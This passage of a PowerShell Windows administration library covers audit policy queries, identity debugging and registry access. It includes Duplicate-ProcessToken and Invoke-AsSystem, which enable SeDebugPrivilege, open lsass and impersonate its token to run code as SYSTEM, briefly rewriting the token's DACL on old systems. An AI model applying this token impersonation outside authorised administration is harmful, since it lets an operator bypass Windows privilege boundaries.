        '0cce9239-69ae-11d9-bed3-505054503030' = 'Application Group Management'
        '0cce923a-69ae-11d9-bed3-505054503030' = 'Other Account Management Events'
        '0cce922f-69ae-11d9-bed3-505054503030' = 'Audit Policy Change'
        '0cce9230-69ae-11d9-bed3-505054503030' = 'Authentication Policy Change'
        '0cce9231-69ae-11d9-bed3-505054503030' = 'Authorization Policy Change'
        '0cce9232-69ae-11d9-bed3-505054503030' = 'MPSSVC Rule-Level Policy Change'
        '0cce9233-69ae-11d9-bed3-505054503030' = 'Filtering Platform Policy Change'
        '0cce9234-69ae-11d9-bed3-505054503030' = 'Other Policy Change Events'
        '0cce922b-69ae-11d9-bed3-505054503030' = 'Process Creation'
        '0cce922c-69ae-11d9-bed3-505054503030' = 'Process Termination'
        '0cce922d-69ae-11d9-bed3-505054503030' = 'DPAPI Activity'
        '0cce922e-69ae-11d9-bed3-505054503030' = 'RPC Events'
        '0cce9248-69ae-11d9-bed3-505054503030' = 'Plug and Play Events'
        '0cce924a-69ae-11d9-bed3-505054503030' = 'Token Right Adjusted Events'
        '0cce9228-69ae-11d9-bed3-505054503030' = 'Sensitive Privilege Use'
        '0cce9229-69ae-11d9-bed3-505054503030' = 'Non Sensitive Privilege Use'
        '0cce922a-69ae-11d9-bed3-505054503030' = 'Other Privilege Use Events'
        '0cce921d-69ae-11d9-bed3-505054503030' = 'File System'
        '0cce921e-69ae-11d9-bed3-505054503030' = 'Registry'
        '0cce921f-69ae-11d9-bed3-505054503030' = 'Kernel Object'
        '0cce9220-69ae-11d9-bed3-505054503030' = 'SAM'
        '0cce9221-69ae-11d9-bed3-505054503030' = 'Certification Services'
        '0cce9222-69ae-11d9-bed3-505054503030' = 'Application Generated'
        '0cce9223-69ae-11d9-bed3-505054503030' = 'Handle Manipulation'
        '0cce9224-69ae-11d9-bed3-505054503030' = 'File Share'
        '0cce9225-69ae-11d9-bed3-505054503030' = 'Filtering Platform Packet Drop'
        '0cce9226-69ae-11d9-bed3-505054503030' = 'Filtering Platform Connection'
        '0cce9227-69ae-11d9-bed3-505054503030' = 'Other Object Access Events'
        '0cce9244-69ae-11d9-bed3-505054503030' = 'Detailed File Share'
        '0cce9245-69ae-11d9-bed3-505054503030' = 'Removable Storage'
        '0cce9246-69ae-11d9-bed3-505054503030' = 'Central Policy Staging'
        '0cce9215-69ae-11d9-bed3-505054503030' = 'Logon'
        '0cce9216-69ae-11d9-bed3-505054503030' = 'Logoff'
        '0cce9217-69ae-11d9-bed3-505054503030' = 'Account Lockout'
        '0cce9218-69ae-11d9-bed3-505054503030' = 'IPsec Main Mode'
        '0cce9219-69ae-11d9-bed3-505054503030' = 'IPsec Quick Mode'
        '0cce921a-69ae-11d9-bed3-505054503030' = 'IPsec Extended Mode'
        '0cce921b-69ae-11d9-bed3-505054503030' = 'Special Logon'
        '0cce921c-69ae-11d9-bed3-505054503030' = 'Other Logon/Logoff Events'
        '0cce9243-69ae-11d9-bed3-505054503030' = 'Network Policy Server'
        '0cce9247-69ae-11d9-bed3-505054503030' = 'User / Device Claims'
        '0cce9249-69ae-11d9-bed3-505054503030' = 'Group Membership'
        '0cce9210-69ae-11d9-bed3-505054503030' = 'Security State Change'
        '0cce9211-69ae-11d9-bed3-505054503030' = 'Security System Extension'
        '0cce9212-69ae-11d9-bed3-505054503030' = 'System Integrity'
        '0cce9213-69ae-11d9-bed3-505054503030' = 'IPsec Driver'
        '0cce9214-69ae-11d9-bed3-505054503030' = 'Other System Events'      
      }


    DBG ('Running on newer system, enumerate audit subcategories as well')
    foreach ($oneCategoryKey in $auditPolicyCategories.Keys) {

      $oneCategoryName = $auditPolicyCategories[$oneCategoryKey]

      DBG ('One category to obtain guid: {0} | {1}' -f $oneCategoryKey, $oneCategoryName)
      DBGSTART
      [IntPtr] $oneAuditCategoryGuidBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf(([Type] [GUID])))
      $resBool = [Sevecek.Win32Api.ADVAPI32]::AuditLookupCategoryGuidFromCategoryId(
                                    $oneCategoryKey,
                                    $oneAuditCategoryGuidBuffer
                                    );
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API Result: {0}' -f $resBool)
      DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

      DBG ('Marshal the GUID buffer into a structure')
      DBGSTART
      $oneAuditCategoryGUID = $null
      $oneAuditCategoryGUID = [GUID] [System.Runtime.InteropServices.Marshal]::PtrToStructure($oneAuditCategoryGuidBuffer, ([Type] [GUID]))
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBGIF $MyInvocation.MyCommand.Name { Is-Null $auditEventsInfo }
      DBG ('Audit policy category GUID returned: {0} | {1} | {2}' -f $oneCategoryKey, $oneCategoryName, $oneAuditCategoryGUID)
      DBGIF $MyInvocation.MyCommand.Name { $assertCategories[$oneAuditCategoryGUID.ToString()] -ne $oneCategoryName }


      DBG ('Enumerate subcategories')
      DBGSTART
      [IntPtr] $auditSubCategoriesArrayBuffer = [IntPtr]::Zero
      [int] $auditSubCategoriesArrayCount = 0
      $resBool = [Sevecek.Win32Api.ADVAPI32]::AuditEnumerateSubCategories(
                                  $oneAuditCategoryGuidBuffer,
                                  $false,
                                  [ref] $auditSubCategoriesArrayBuffer,
                                  [ref] $auditSubCategoriesArrayCount
                                  )
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API Result: {0}' -f $resBool)
      DBGIF $MyInvocation.MyCommand.Name { -not $resBool }
      DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $auditSubCategoriesArrayBuffer) }
      DBGIF $MyInvocation.MyCommand.Name { $auditSubCategoriesArrayCount -lt 1 }

      if (Is-ValidHandle $auditSubCategoriesArrayBuffer) {

          DBG ('Subcategory has values: {0}' -f $auditSubCategoriesArrayCount)
          
          # Note: we must format 6.0 to keep the terminating zero, but we must also do this in ToString() instead
          #       of the use of {:N} because of the CultureInfo
          $osSpecificCat = '{0}_{1}' -f $oneAuditCategoryGUID, $global:thisOSVersionNumber.ToString('0.0', (New-Object System.Globalization.CultureInfo 'en-US'))

          if ($global:thisOSVersionNumber -ge 10.0) {

            $osSpecificCat = '{0}.{1}' -f $osSpecificCat, $global:thisOSBuild
          }

          DBGIF ('Weird number of subcategories: cat = {0} | # = {1} | shouldBeAny = {2} | thisOsCat = {3} | shouldBeThisOs = {4}' -f $oneAuditCategoryGUID, $auditSubCategoriesArrayCount, $assertSubcategoryCounts[$oneAuditCategoryGUID.ToString()], $osSpecificCat, $assertSubcategoryCounts[$osSpecificCat]) { -not (($assertSubcategoryCounts[$oneAuditCategoryGUID.ToString()] -eq $auditSubCategoriesArrayCount) -or ($assertSubcategoryCounts[$osSpecificCat] -eq $auditSubCategoriesArrayCount)) }

          DBG ('Query system policy for the subcategories')
          DBGSTART
          [IntPtr] $subCategoryPoliciesBuffer = [IntPtr]::Zero
          $resBool = [Sevecek.Win32Api.ADVAPI32]::AuditQuerySystemPolicy(
                                      $auditSubCategoriesArrayBuffer,  # dbgx $auditSubCategoriesArrayBuffer,
                                      $auditSubCategoriesArrayCount,
                                      [ref] $subCategoryPoliciesBuffer
                                      )
          #$lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
          #DBGIF ('Win32 last error: {0} | 0x{0:X} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
          DBGIF $MyInvocation.MyCommand.Name { -not $resBool }
          DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $subCategoryPoliciesBuffer) }

          if (Is-ValidHandle $subCategoryPoliciesBuffer) {

              DBG ('Obtain policy settings for each subcategory')
              for ($i = 0; $i -lt $auditSubCategoriesArrayCount; $i ++) {

                $subCategoryPoliciesBufferIndexer = New-Object IntPtr ($subCategoryPoliciesBuffer.ToInt64() + ($i * ([System.Runtime.InteropServices.Marshal]::SizeOf(([Type] [Sevecek.Win32Api.AUDIT_POLICY_INFORMATION])))))

                DBG ('Marshal the AUDIT_POLICY_INFORMATION into managed structure: #{0} = {1}' -f $i, $subCategoryPoliciesBufferIndexer)
                DBGSTART
                $auditPolicyInfoPerSubcategory = [Sevecek.Win32Api.AUDIT_POLICY_INFORMATION] [System.Runtime.InteropServices.Marshal]::PtrToStructure($subCategoryPoliciesBufferIndexer, ([Type] [Sevecek.Win32Api.AUDIT_POLICY_INFORMATION]))
                DBGER $MyInvocation.MyCommand.Name $error
                DBGEND
                DBG ('Audit policy information for the particular subcategory: #{0} | subcat = {1} | cat = {2} | setting = {3}' -f $i, $auditPolicyInfoPerSubcategory.AuditSubCategoryGuid, $auditPolicyInfoPerSubcategory.AuditCategoryGuid, $auditPolicyInfoPerSubcategory.AuditingInformation)
                DBGIF $MyInvocation.MyCommand.Name { $auditPolicyInfoPerSubcategory.AuditSubCategoryGuid -notmatch $global:rxGUID }
                DBGIF $MyInvocation.MyCommand.Name { $auditPolicyInfoPerSubcategory.AuditCategoryGuid -ne $oneAuditCategoryGUID }
                DBGIF $MyInvocation.MyCommand.Name { ($auditPolicyInfoPerSubcategory.AuditingInformation -lt 0) -or ($auditPolicyInfoPerSubcategory.AuditingInformation -gt 3) }

                DBG ('Get the subcategory name from the subcategory GUID')
                DBGSTART
                [IntPtr] $subCategoryNameBuffer = [IntPtr]::Zero
                $resBool = [Sevecek.Win32Api.ADVAPI32]::AuditLookupSubCategoryName(
                                            $subCategoryPoliciesBufferIndexer,
                                            [ref] $subCategoryNameBuffer
                                            )
                DBGER $MyInvocation.MyCommand.Name $error
                DBGEND
                DBGIF $MyInvocation.MyCommand.Name { -not $resBool }
                DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $subCategoryNameBuffer) }

                if (Is-ValidHandle $subCategoryNameBuffer) {

                    DBG ('Marshal the name buffer into managed string')
                    DBGSTART
                    $subCategoryName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($subCategoryNameBuffer)
                    DBGER $MyInvocation.MyCommand.Name $error
                    DBGEND
                    DBG ('Subcategory name identified as: {0} | {1}' -f $auditPolicyInfoPerSubcategory.AuditSubCategoryGuid, $subCategoryName)
                    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $subCategoryName }
                    DBGIF $MyInvocation.MyCommand.Name { $assertSubcategories[$auditPolicyInfoPerSubcategory.AuditSubCategoryGuid.ToString()] -ne $subCategoryName }

                    DBG ('Cleanup the audit subcategory name buffer')
                    DBGSTART
                    [Sevecek.Win32Api.ADVAPI32]::AuditFree($subCategoryNameBuffer)
                    DBGER $MyInvocation.MyCommand.Name $error
                    DBGEND

                    $subcategoryOutputName = '{0}|{1}' -f $oneCategoryName, $subCategoryName
                    $subcategoryOutputValue = $auditPolicySettings[([int] $auditPolicyInfoPerSubcategory.AuditingInformation)]
                    DBG ('Auditing policy subcategory: {0} | {1}' -f $subcategoryOutputName, $subcategoryOutputValue)
                    $auditPolicyCategoryValues[$subcategoryOutputName] = $subcategoryOutputValue
                }
              }


              DBG ('Cleanup the audit subcategories policies buffer')
              DBGSTART
              [Sevecek.Win32Api.ADVAPI32]::AuditFree($subCategoryPoliciesBuffer)
              DBGER $MyInvocation.MyCommand.Name $error
              DBGEND
          }

          DBG ('Cleanup the audit subcategories array buffer')
          DBGSTART
          [Sevecek.Win32Api.ADVAPI32]::AuditFree($auditSubCategoriesArrayBuffer)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
      }

      DBG ('Cleanup the audit category GUID buffer memory')
      DBGSTART
      [System.Runtime.InteropServices.Marshal]::FreeHGlobal($oneAuditCategoryGuidBuffer)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }
  }



  DBG ('Closing LSA handle: {0}' -f $lsaPolicyHandle)
  DBGSTART
  $resNTSTATUS = [Sevecek.Win32Api.ADVAPI32]::LsaClose($lsaPolicyHandle)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1}' -f $resNTSTATUS, $resNTSTATUS)
  DBGIF $MyInvocation.MyCommand.Name { $resNTSTATUS -ne 0 }


 
  return $auditPolicyCategoryValues
}


function global:Debug-Identity ([bool] $resolveSIDs)
{
  Define-Win32API


  function Debug-TranslateSIDs ([System.Security.Principal.IdentityReferenceCollection] $sids) {

    if (Is-NonNull $sids) {

      foreach ($oneSID in ($sids | Select -Expand Value )) {

        # Note: there is a backward compatibility update provided for two new SIDs introduced in 2012 AD
        #       S-1-18-1 and S-1-18-2: https://support.microsoft.com/kb/2830145
        #       so in case we are running unpatched (probably always as the hotfix requires manual download)
        #       on Windows 2008 R2 and lower, we translate manually
        
        if (($oneSID -eq 'S-1-18-1') -and ($global:thisOSVersionNumber -lt 6.2)) {

          DBG ('Translating SID manually according to KB2830145')
          $oneResolvedSID = 'Authentication authority asserted identity'  

        } elseif (($oneSID -eq 'S-1-18-2') -and ($global:thisOSVersionNumber -lt 6.2)) {
        
          DBG ('Translating SID manually according to KB2830145')
          $oneResolvedSID = 'Service asserted identity'  
        
        } else {
 
          DBGSTART
          $oneResolvedSID = (New-Object System.Security.Principal.SecurityIdentifier $oneSID).Translate([System.Type]::GetType('System.Security.Principal.NTAccount')).Value
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        }

        DBG ('One SID: {0} | {1}' -f $oneSID, $oneResolvedSID)
      }
    }
  }

  # Note: just to let the Is-CurrentUser validate some ASSERTS
  Is-CurrentUser | Out-Null

  DBGSTART
  [Security.Principal.WindowsIdentity] $threadIdentityOnlyIfImpersonating = $null
  $threadIdentityOnlyIfImpersonating = [Security.Principal.WindowsIdentity]::GetCurrent($true)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  $isImpersonating = Is-NonNull $threadIdentityOnlyIfImpersonating
  DBG ('This thread is impersonating: {0}' -f $isImpersonating)


  DBGSTART
  $runningIdentity = [Security.Principal.WindowsIdentity]::GetCurrent($false)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('Running as identity: name = {0} | system = {1} | SID = {2} | SIDs = {3}' -f $runningIdentity.Name, $runningIdentity.IsSystem, $runningIdentity.User, (($runningIdentity.Groups | Select -Expand Value ) -join ', '))
  
  if ($resolveSIDs) {

    Debug-TranslateSIDs $runningIdentity.Groups
  }

  
  $threadIdentity = [System.Threading.Thread]::CurrentPrincipal.Identity
  DBG ('Current thread principal type: {0} | isAuthenticated = {1} | name = {2}' -f $threadIdentity.GetType().Name, $threadIdentity.IsAuthenticated, $threadIdentity.Name)

  DBGSTART
  [System.Security.Principal.WindowsIdentity] $threadIdentityAsWindows = $null
  $threadIdentityAsWindows = [System.Security.Principal.WindowsIdentity] $threadIdentity
  DBGEND # may not retype to WindowsIdentity

  if (Is-NonNull $threadIdentityAsWindows) {

    DBG ('Thread identity: name = {0} | system = {1} | SID = {2} | SIDs = {3}' -f $threadIdentityAsWindows.Name, $threadIdentityAsWindows.IsSystem, $threadIdentityAsWindows.User, (($threadIdentityAsWindows.Groups | Select -Expand Value ) -join ', '))

    if ($resolveSIDs) {

      Debug-TranslateSIDs $threadIdentityAsWindows.Groups
    }
  }


  if ($isImpersonating) {
  
    [System.Collections.ArrayList] $hndlList = @()

    DBG ('Open process token to get pure process identity')
    DBGSTART
    [IntPtr] $procToken = [IntPtr]::Zero
    $resUInt = [Sevecek.Win32Api.ADVAPI32]::OpenProcessToken(
      ([Sevecek.Win32Api.Kernel32]::GetCurrentProcess()), 
      [Sevecek.Win32Api.ADVAPI32]::TOKEN_QUERY, 
      [ref] $procToken
      )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
    DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $procToken) }

    DBG ('Process token opened: {0}' -f $procToken)
    if (Is-ValidHandle $procToken) {

      [void] $hndlList.Add($procToken)

      DBGSTART
      $processIdentity = New-Object System.Security.Principal.WindowsIdentity $procToken
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      DBG ('Process identity: name = {0} | system = {1} | SID = {2} | SIDs = {3}' -f $processIdentity.Name, $processIdentity.IsSystem, $processIdentity.User, (($processIdentity.Groups | Select -Expand Value ) -join ', '))
  
      if ($resolveSIDs) {
   
        Debug-TranslateSIDs $processIdentity.Groups
      }
    }

    Dispose-Handles ([ref] $hndlList)
  }
}


function global:Duplicate-ProcessToken ([string] $process, [bool] $returnStatus)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [System.Collections.ArrayList] $hndlList = @()

  [bool] $success = $false
  [bool] $permissionsUpdated = $false

  [Collections.ArrayList] $processes = @()
  DBG ('Get all the processes: {0}' -f $process)
  DBGSTART
  Get-Process -Name $process | % { [void] $processes.Add($_) }
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('Processes found: # = {0} | {1}' -f $processes.Count, (($processes | select -Expand Handle) -join ','))
  DBGIF $MyInvocation.MyCommand.Name { $processes.Count -ne 1 }

  if ($processes.Count -gt 0) {

    $theProcess = $processes[0].Id
    DBG ('Will duplicate process token for ID: {0}' -f $theProcess)


    Adjust-Privilege (Lookup-Privilege SeDebugPrivilege) $true


    DBG ('Open process handle: {0}' -f $theProcess)
    DBGSTART
    [IntPtr] $procHandle = [IntPtr]::Zero
    $procHandle = [Sevecek.Win32Api.Kernel32]::OpenProcess(
        ([Sevecek.Win32Api.Kernel32]::PROCESS_ALL_ACCESS), 
        $false,
        $theProcess
        )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    DBG ('Process handle opened: {0}' -f $procHandle)
    DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $procHandle) }

    if (Is-ValidHandle $procHandle) {

      [void] $hndlList.Add($procHandle)

      # Note: debug only
      DBG ('Working with process SDDL: {0}' -f (Get-UserObjectSecurityInfo $procHandle))

      DBG ('Open process access token with READ_CONTROL')
      DBGSTART
      [IntPtr] $procToken = [IntPtr]::Zero
      $resUInt = [Sevecek.Win32Api.ADVAPI32]::OpenProcessToken(
          $procHandle, 
          ([Sevecek.Win32Api.Kernel32]::READ_CONTROL), 
          [ref] $procToken
          )
      $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
      #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
      DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $procToken) }

      if (Is-ValidHandle $procToken) {

        [void] $hndlList.Add($procToken)

        # Note: debug only
        $procTokenSDDL = Get-UserObjectSecurityInfo $procToken
        DBG ('Working with access token SDDL: {0}' -f $procTokenSDDL)
        DBGIF $MyInvocation.MyCommand.Name { ($procTokenSDDL -notmatch '\(A;;SWRC;;;BA\)') -and ($procTokenSDDL -notmatch '\(A;;CCDCLCSWRPRC;;;BA\)') }

try {
        if ($procTokenSDDL -match '\(A;;SWRC;;;BA\)') {

          DBGIF $MyInvocation.MyCommand.Name { $global:thisOSVersionNumber -ge 6 }
          DBG ('We are running on Windows 2003 and older with limited Administrators permissions to the access token')
          DBG ('Going to adjust access token permissions for Administrators')

          DBG ('Open process access token with WRITE_DAC')
          DBGSTART
          [IntPtr] $procTokenToUpdateDAC = [IntPtr]::Zero
          $resUInt = [Sevecek.Win32Api.ADVAPI32]::OpenProcessToken(
              $procHandle, 
              ([Sevecek.Win32Api.Kernel32]::READ_CONTROL -bor [Sevecek.Win32Api.Kernel32]::WRITE_DAC), # -bor [Sevecek.Win32Api.Kernel32]::WRITE_OWNER), 
              [ref] $procTokenToUpdateDAC
              )
          $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
          #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
          DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
          DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $procTokenToUpdateDAC) }

          if (Is-ValidHandle $procTokenToUpdateDAC) {

            $permissionsUpdated = $true
            [void] $hndlList.Add($procTokenToUpdateDAC)

            $newProcTokenSDDL = [regex]::Replace($procTokenSDDL, '\(A;;SWRC;;;BA\)', '(A;;CCDCLCSWRPRC;;;BA)')
            Set-UserObjectSecurityInfo $procTokenToUpdateDAC $newProcTokenSDDL
          }
        }

        DBG ('Open process access token to DUPLICATE')
        DBGSTART
        [IntPtr] $procToken = [IntPtr]::Zero
        $resUInt = [Sevecek.Win32Api.ADVAPI32]::OpenProcessToken(
            $procHandle, 
            ([Sevecek.Win32Api.ADVAPI32]::TOKEN_IMPERSONATE -bor [Sevecek.Win32Api.ADVAPI32]::TOKEN_DUPLICATE -bor [Sevecek.Win32Api.ADVAPI32]::TOKEN_QUERY -bor [Sevecek.Win32Api.ADVAPI32]::TOKEN_QUERY_SOURCE -bor [Sevecek.Win32Api.ADVAPI32]::TOKEN_READ),
            [ref] $procToken
            )
        $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
        #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
        DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $procToken) }


        DBG ('Process token opened: {0}' -f $procToken)
        if (Is-ValidHandle $procToken) {

          [void] $hndlList.Add($procToken)

          [IntPtr] $dulicatedProcToken = [IntPtr]::Zero

          DBG ('Duplicate process token')
          DBGSTART
          $resUInt = [Sevecek.Win32Api.ADVAPI32]::DuplicateToken($procToken, [Sevecek.Win32Api.ADVAPI32+SECURITY_IMPERSONATION_LEVEL]::SecurityImpersonation, [ref] $dulicatedProcToken)
          $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
          #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
          DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
          DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $dulicatedProcToken) }

          DBG ('Duplicated process token: {0}' -f $dulicatedProcToken)
          if (Is-ValidHandle $dulicatedProcToken) {

            [void] $hndlList.Add($duplicatedProcToken)

            DBG ('Set current thread token to the duplicated one')
            DBGSTART
            $resBool = [Sevecek.Win32Api.ADVAPI32]::SetThreadToken([IntPtr]::Zero, $dulicatedProcToken)
            $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
            #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND
            DBG ('WIN32API Result: {0}' -f $resBool)
            DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

            $success = $resBool
          }
        }

} finally {

        DBG ('Should we restore the original process access token SD: {0}' -f $permissionsUpdated)
        if (($permissionsUpdated) -and (Is-ValidString $procTokenSDDL)) {

          Set-UserObjectSecurityInfo $procTokenToUpdateDAC $procTokenSDDL
          $restoredProcTokenSDDL = Get-UserObjectSecurityInfo $procTokenToUpdateDAC
          DBG ('Finally restored SDDL of the process token: {0}' -f $restoredProcTokenSDDL)
          DBGIF $MyInvocation.MyCommand.Name { $procTokenSDDL -ne $restoredProcTokenSDDL }
        }
}

      }
    }
  }

  Dispose-Handles ([ref] $hndlList)
  
  Debug-Identity -resolveSIDs $true

  if ($returnStatus) {

    return $success
  
  } else {

    return
  }
}


function global:RevertTo-Self ()
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  Define-Win32Api

  Debug-Identity $true

  DBG ('Revert to self')
  DBGSTART
  $resUInt = [Sevecek.Win32Api.ADVAPI32]::RevertToSelf()
  $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
  #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)

  Debug-Identity $true
}


function global:Invoke-AsSystem ([scriptblock] $code)
{
  Duplicate-ProcessToken lsass

  DBG ('Invoke the code')
  DBGSTART
  $result = $code.Invoke()
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  RevertTo-Self

  return $result
}


function global:Open-RegistryKey ([string] $rootKey, [string] $subKey, [int] $requestedAccess = -1)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  Define-Win32Api

  [IntPtr] $regKey = [IntPtr]::Zero
  [UIntPtr] $rootKeyId = [UIntPtr]::Zero

  if (Is-EmptyString $rootKey) {

    $rootKey = $subKey.SubString(0, $subKey.IndexOf('\'))
    $subKey = $subKey.SubString(($subKey.IndexOf('\') + 1))
  }

  $rootKey = $rootKey.Trim(':').Trim('\')
  $subKey = $subKey.Trim('\')
  DBG ('Key names normalized as: {0} | {1}' -f $rootKey, $subKey)

  switch ($rootKey) {

    'hklm' { $rootKeyId = [UIntPtr] ([Sevecek.Win32Api.ADVAPI32]::HKEY_LOCAL_MACHINE) }
    'hkey_local_machine' { $rootKeyId = [UIntPtr] ([Sevecek.Win32Api.ADVAPI32]::HKEY_LOCAL_MACHINE) }
    'hkcu' { $rootKeyId = [UIntPtr] ([Sevecek.Win32Api.ADVAPI32]::HKEY_CURRENT_USER) }
    'hkey_current_user' { $rootKeyId = [UIntPtr] ([Sevecek.Win32Api.ADVAPI32]::HKEY_CURRENT_USER) }
  }

  DBGIF $MyInvocation.MyCommand.Name { $rootKeyId -eq [UIntPtr]::Zero }

  if ($rootKeyId -ne [UIntPtr]::Zero) {

    if ($requestedAccess -eq -1) {

      $requestedAccess = [Sevecek.Win32Api.ADVAPI32]::KEY_READ
    }

    DBG ('Open the registry key')
    DBGSTART
    $regKey = [IntPtr]::Zero
    $resUInt = [Sevecek.Win32Api.ADVAPI32]::RegOpenKeyEx($rootKeyId, $subKey, 0, $requestedAccess, [ref] $regKey)
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
    DBGIF $MyInvocation.MyCommand.Name { $resUInt -ne 0 }
    DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $regKey) }
  }

  return $regKey  
}


function global:Close-RegistryKey ([IntPtr] $regKey)
{
  DBG ('Close the registry key')
  DBGSTART
  $resUInt = [Sevecek.Win32Api.ADVAPI32]::RegCloseKey($regKey)
  $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
  #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
  DBGIF $MyInvocation.MyCommand.Name { $resUInt -ne 0 }
}


function global:Read-RegistryValueRaw ([string] $rootKey, [string] $subKey, [string] $value)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [byte[]] $regDataArray = @()


  $regKey = Open-RegistryKey -rootKey $rootKey -subKey $subKey

  if (Is-ValidHandle $regKey) {

    DBG ('Read the registry value data size first')
    DBGSTART
    [int] $regDataSize = 0
    $resUInt = [Sevecek.Win32Api.ADVAPI32]::RegQueryValueEx($regKey, $value, 0, [IntPtr]::Zero, [IntPtr]::Zero, [ref] $regDataSize)
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { ($lastError -ne 0) -and ($lastError -ne [Sevecek.Win32Api.WinError]::ERROR_INSUFFICIENT_BUFFER) }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
    DBGIF $MyInvocation.MyCommand.Name { $resUInt -ne 0 }

